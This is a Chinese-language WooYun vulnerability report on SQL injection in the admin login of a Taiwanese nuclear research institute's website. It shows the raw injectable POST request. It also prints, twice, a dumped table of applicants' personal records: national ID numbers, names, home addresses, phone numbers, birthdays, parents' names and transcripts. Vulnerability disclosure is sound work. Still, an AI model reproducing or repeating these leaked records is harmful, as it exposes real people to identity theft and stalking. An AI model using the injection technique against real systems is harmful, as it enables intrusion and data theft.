当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154521

漏洞标题：台湾核能研究所某站sql注入导致敏感信息侧漏（臺灣地區）

相关厂商：核能研究所

漏洞作者： godsec

提交时间：2015-11-20 14:20

修复时间：2016-01-11 15:32

公开时间：2016-01-11 15:32

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-20： 细节已通知厂商并且等待厂商处理中
2015-11-23： 厂商已经确认，细节仅向厂商公开
2015-12-03： 细节向核心白帽子及相关领域专家公开
2015-12-13： 细节向普通白帽子公开
2015-12-23： 细节向实习白帽子公开
2016-01-11： 细节向公众公开

简要描述：

RT

详细说明：

URL:
http://**.**.**.**/admin/login
Post包如下

POST /admin/login HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://**.**.**.**/admin/login
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 62
Pragma: no-cache
Cookie: INERWEBMAILID=16kmebimgura4jvlqtk4j30sd7
username=admin*&password=adasdasd&submit=%E7%99%BB%E5%85%A5&id=


QQ图片20151120123418.jpg


uid	aid	tel	rel	name	notify	email2	email1	reltel	year	relname	othesis	mdmajor	address	license	bdmajor	apstate2	apstate3	apstate1	mdschool	director	birthday	classnum	mdthesis	phdmajor	bdschool	phdthesis	phdschool	specialty	cellphone	apdomain1	apdomain2	apdomain3	attendtime	attachment4	attachment2	attachment3	attachment1
R123498389	1	982805473	父子	楊士德	0	g9761303@**.**.**.**	sab7412@**.**.**.**	981563815	2010	楊健三	<blank>	機械所控制組	台中市南區學府路189號5樓之6	<blank>	生物機電學系	1	1	1	國立中興大學	林仕亭	1985/11/22	1	具撓性關節雙機械臂之適應位置與力量控制(\\?e6	<blank>	國立中興大學	<blank>	<blank>	控制理論\r\n機械臂力量控制\r\n力學分析	982805473	FS03	FS05	EE02	2009/12/28 16:26	<blank>	0001_楊士德論文摘要.doc	<blank>	0001_楊士德成績單.pdf
M122024685	1	04-25682772	母子	簡佑勳	0	m9807412@**.**.**.**	ru03vmp@**.**.**.**	04-25682772	2011	楊麗敏	<blank>	電機所	台中縣大雅鄉中清南路37巷2號九樓	<blank>	電機系	2	2	2	台灣科技大學	施慶隆	1986/11/15	1	論文題目:以FPGA整合一SOPC系統-結合人臉辨識\\?e5	<blank>	長庚大學	<blank>	<blank>	系統整合，影像處理，FPGA，VERILOG，嵌入式系	0988-637511	FA01	FA02	FS05	2010/12/22 11:23	<blank>	0001_簡佑勳論文摘要、著作、研究計畫.pdf	<blank>	0001_簡佑勳成績單.pdf
P123508771	1	0921-527582	母子	曾琝棠	0	theseatouya@**.**.**.**	theseatouya@**.**.**.**	0972-377230	2012	高羿榕	2011國立台北大學商管與資訊研討會-System	資訊管理所	嘉義縣民雄鄉三興村富農路25號1樓9	Linux系統管理、網站建置、伺服架設、資訊安	資訊管理系	1	1	2	國立中正大學	古政元	1987/1/17	1	System Design of Active Detection for Alternate Data Streams in the NTFS File	<blank>	國立虎尾科技大學	<blank>	<blank>	資訊網路與網路安全、資料庫及資訊安全、\\?e8\\?b3	0921-527582	RS01	RS01	FS09	2011/12/26 9:43	<blank>	0001_曾琝棠論文摘要、著作、研究計畫.pdf	0001_曾琝棠技能檢定、證照及經歷文件.pdf	0001_曾琝棠成績單.pdf
L123711560	1	(04)26201145	母子	林明志	0	<blank>	onea00440@**.**.**.**	(04)26201145	2013	劉素秋	第二十二屆環境工程年會廢水處理研討會(論\\?e6	環境工程研究所	台中市清水區吳厝里東山路新興巷121號	乙級下水道設施操作維護-水質檢驗	環境工程系	1	1	1	國立中山大學	樓基中	1989/6/27	1	以類神經網路模擬淨水系統中微量有機物	<blank>	弘光科技大學	<blank>	<blank>	環境工程相關的分析(例如：空氣、水、廢棄\\?e7	0911-442562	EE20	EE26	EE27	2012/12/17 9:47	<blank>	0001_林明志技能檢定、證照、經歷證明.doc	0001_林明志論文摘要、著作、研究計畫.doc	0001_林明志成績單.doc
F127606011	1	02-22642970	父子	曾煜紳	0	<blank>	abc12701@**.**.**.**	0927-011-277	2013	曾永程	<blank>	環境工程與管理系	新北市土城區員福里17鄰福祥街42巷1號6樓	操作儀器：氣相層析儀(GC-TCD)、原子吸收光譜	環境工程與管理系	2	1	2	朝陽科技大學	羅煌木	1988/10/20	2	有機廢棄物微生物燃料電池產電與電解電池\\?e7\\?94	<blank>	朝陽科技大學	<blank>	<blank>	本研究所學之專長偏向資源與能源化再利用\\?ef\\?bc	0927-987-598	EE203	EE211	EE212	2013/4/29 11:54	<blank>	0001_曾煜紳論文摘要、著作、研究計畫.pdf	<blank>	0001_曾煜紳大學、研究所成績單.pdf
H123912010	1	34575216	親子	周和澔	0	<blank>	10172028@**.**.**.**	972208320	2014	葉秋燕	<blank>	機械與機電工程學系	320桃園縣中壢市龍岡路三段37巷92弄2號	<blank>	機械與機電工程學系	2	1	1	國立臺灣海洋大學	閻順昌	1989/11/6	1	以數值模擬分析不同流道對流場之影響	<blank>	國立臺灣海洋大學	<blank>	<blank>	熱流數值模擬及分析	910216032	AE17	AE25	AE26	2013/11/18 11:04	<blank>	0001_烘手機空氣流道之研究.pdf	<blank>	0001_成績單.pdf
F127247932	1	920533316	父子	鄭柏暐	0	chpoway@**.**.**.**	zopm100@**.**.**.**	938312124	2014	鄭希聖	<blank>	生醫與電子資訊研究所	桃園縣桃園市建國路312巷126號	<blank>	電機學系	1	1	1	台灣大學	陳志宏	1989/4/14	2	高溫超導薄膜在7T MRI下的應用	<blank>	中央大學	<blank>	<blank>	高溫超導薄膜, 電磁模擬, MRI	920533316	IN08	IN07	IN06	2014/4/7 11:35	<blank>	<blank>	<blank>	<blank>
N125279576	1	04-7775848	父子	尤彥文	0	<blank>	lovesky791013@**.**.**.**	0989-775848	2015	尤進發	1.C.-L.Lee,H.-J.Chang,Yan-Wun You,G.-H.Chen,J.-M.Hsu,and	光電工程學系	彰化縣福興鄉福興村福三路四段415號	Matlab、Excel、PowerPoint、Word、中文打字75~100、\\?e8	光電工程學系	0	0	2	國立聯合大學	李澄鈴	1990/10/13	1	高吸濕性高分子微型腔光纖菲佐干涉儀	<blank>	國立聯合大學	<blank>	<blank>	微型光纖元件設計與製作(光纖光學相關被動\\?e5	0975-319679	J01	0	0	2014/11/15 14:08	<blank>	0001_尤彥文碩士初稿與發表論文.pdf	0001_尤彥文獎狀及證照.pdf	0003_404.doc


QQ图片20151120123637.png


（已删除）
未深入~

漏洞证明：

URL:
http://**.**.**.**/admin/login
Post包如下

POST /admin/login HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: http://**.**.**.**/admin/login
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: **.**.**.**
Content-Length: 62
Pragma: no-cache
Cookie: INERWEBMAILID=16kmebimgura4jvlqtk4j30sd7
username=admin*&password=adasdasd&submit=%E7%99%BB%E5%85%A5&id=


QQ图片20151120123418.jpg


uid	aid	tel	rel	name	notify	email2	email1	reltel	year	relname	othesis	mdmajor	address	license	bdmajor	apstate2	apstate3	apstate1	mdschool	director	birthday	classnum	mdthesis	phdmajor	bdschool	phdthesis	phdschool	specialty	cellphone	apdomain1	apdomain2	apdomain3	attendtime	attachment4	attachment2	attachment3	attachment1
R123498389	1	982805473	父子	楊士德	0	g9761303@**.**.**.**	sab7412@**.**.**.**	981563815	2010	楊健三	<blank>	機械所控制組	台中市南區學府路189號5樓之6	<blank>	生物機電學系	1	1	1	國立中興大學	林仕亭	1985/11/22	1	具撓性關節雙機械臂之適應位置與力量控制(\\?e6	<blank>	國立中興大學	<blank>	<blank>	控制理論\r\n機械臂力量控制\r\n力學分析	982805473	FS03	FS05	EE02	2009/12/28 16:26	<blank>	0001_楊士德論文摘要.doc	<blank>	0001_楊士德成績單.pdf
M122024685	1	04-25682772	母子	簡佑勳	0	m9807412@**.**.**.**	ru03vmp@**.**.**.**	04-25682772	2011	楊麗敏	<blank>	電機所	台中縣大雅鄉中清南路37巷2號九樓	<blank>	電機系	2	2	2	台灣科技大學	施慶隆	1986/11/15	1	論文題目:以FPGA整合一SOPC系統-結合人臉辨識\\?e5	<blank>	長庚大學	<blank>	<blank>	系統整合，影像處理，FPGA，VERILOG，嵌入式系	0988-637511	FA01	FA02	FS05	2010/12/22 11:23	<blank>	0001_簡佑勳論文摘要、著作、研究計畫.pdf	<blank>	0001_簡佑勳成績單.pdf
P123508771	1	0921-527582	母子	曾琝棠	0	theseatouya@**.**.**.**	theseatouya@**.**.**.**	0972-377230	2012	高羿榕	2011國立台北大學商管與資訊研討會-System	資訊管理所	嘉義縣民雄鄉三興村富農路25號1樓9	Linux系統管理、網站建置、伺服架設、資訊安	資訊管理系	1	1	2	國立中正大學	古政元	1987/1/17	1	System Design of Active Detection for Alternate Data Streams in the NTFS File	<blank>	國立虎尾科技大學	<blank>	<blank>	資訊網路與網路安全、資料庫及資訊安全、\\?e8\\?b3	0921-527582	RS01	RS01	FS09	2011/12/26 9:43	<blank>	0001_曾琝棠論文摘要、著作、研究計畫.pdf	0001_曾琝棠技能檢定、證照及經歷文件.pdf	0001_曾琝棠成績單.pdf
L123711560	1	(04)26201145	母子	林明志	0	<blank>	onea00440@**.**.**.**	(04)26201145	2013	劉素秋	第二十二屆環境工程年會廢水處理研討會(論\\?e6	環境工程研究所	台中市清水區吳厝里東山路新興巷121號	乙級下水道設施操作維護-水質檢驗	環境工程系	1	1	1	國立中山大學	樓基中	1989/6/27	1	以類神經網路模擬淨水系統中微量有機物	<blank>	弘光科技大學	<blank>	<blank>	環境工程相關的分析(例如：空氣、水、廢棄\\?e7	0911-442562	EE20	EE26	EE27	2012/12/17 9:47	<blank>	0001_林明志技能檢定、證照、經歷證明.doc	0001_林明志論文摘要、著作、研究計畫.doc	0001_林明志成績單.doc
F127606011	1	02-22642970	父子	曾煜紳	0	<blank>	abc12701@**.**.**.**	0927-011-277	2013	曾永程	<blank>	環境工程與管理系	新北市土城區員福里17鄰福祥街42巷1號6樓	操作儀器：氣相層析儀(GC-TCD)、原子吸收光譜	環境工程與管理系	2	1	2	朝陽科技大學	羅煌木	1988/10/20	2	有機廢棄物微生物燃料電池產電與電解電池\\?e7\\?94	<blank>	朝陽科技大學	<blank>	<blank>	本研究所學之專長偏向資源與能源化再利用\\?ef\\?bc	0927-987-598	EE203	EE211	EE212	2013/4/29 11:54	<blank>	0001_曾煜紳論文摘要、著作、研究計畫.pdf	<blank>	0001_曾煜紳大學、研究所成績單.pdf
H123912010	1	34575216	親子	周和澔	0	<blank>	10172028@**.**.**.**	972208320	2014	葉秋燕	<blank>	機械與機電工程學系	320桃園縣中壢市龍岡路三段37巷92弄2號	<blank>	機械與機電工程學系	2	1	1	國立臺灣海洋大學	閻順昌	1989/11/6	1	以數值模擬分析不同流道對流場之影響	<blank>	國立臺灣海洋大學	<blank>	<blank>	熱流數值模擬及分析	910216032	AE17	AE25	AE26	2013/11/18 11:04	<blank>	0001_烘手機空氣流道之研究.pdf	<blank>	0001_成績單.pdf
F127247932	1	920533316	父子	鄭柏暐	0	chpoway@**.**.**.**	zopm100@**.**.**.**	938312124	2014	鄭希聖	<blank>	生醫與電子資訊研究所	桃園縣桃園市建國路312巷126號	<blank>	電機學系	1	1	1	台灣大學	陳志宏	1989/4/14	2	高溫超導薄膜在7T MRI下的應用	<blank>	中央大學	<blank>	<blank>	高溫超導薄膜, 電磁模擬, MRI	920533316	IN08	IN07	IN06	2014/4/7 11:35	<blank>	<blank>	<blank>	<blank>
N125279576	1	04-7775848	父子	尤彥文	0	<blank>	lovesky791013@**.**.**.**	0989-775848	2015	尤進發	1.C.-L.Lee,H.-J.Chang,Yan-Wun You,G.-H.Chen,J.-M.Hsu,and	光電工程學系	彰化縣福興鄉福興村福三路四段415號	Matlab、Excel、PowerPoint、Word、中文打字75~100、\\?e8	光電工程學系	0	0	2	國立聯合大學	李澄鈴	1990/10/13	1	高吸濕性高分子微型腔光纖菲佐干涉儀	<blank>	國立聯合大學	<blank>	<blank>	微型光纖元件設計與製作(光纖光學相關被動\\?e5	0975-319679	J01	0	0	2014/11/15 14:08	<blank>	0001_尤彥文碩士初稿與發表論文.pdf	0001_尤彥文獎狀及證照.pdf	0003_404.doc


QQ图片20151120123637.png


（已删除）
未深入~

修复方案：

过滤

版权声明：转载请注明来源 godsec@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2015-11-23 01:29

厂商回复：

感謝通報

最新状态：

暂无

漏洞评价：

评价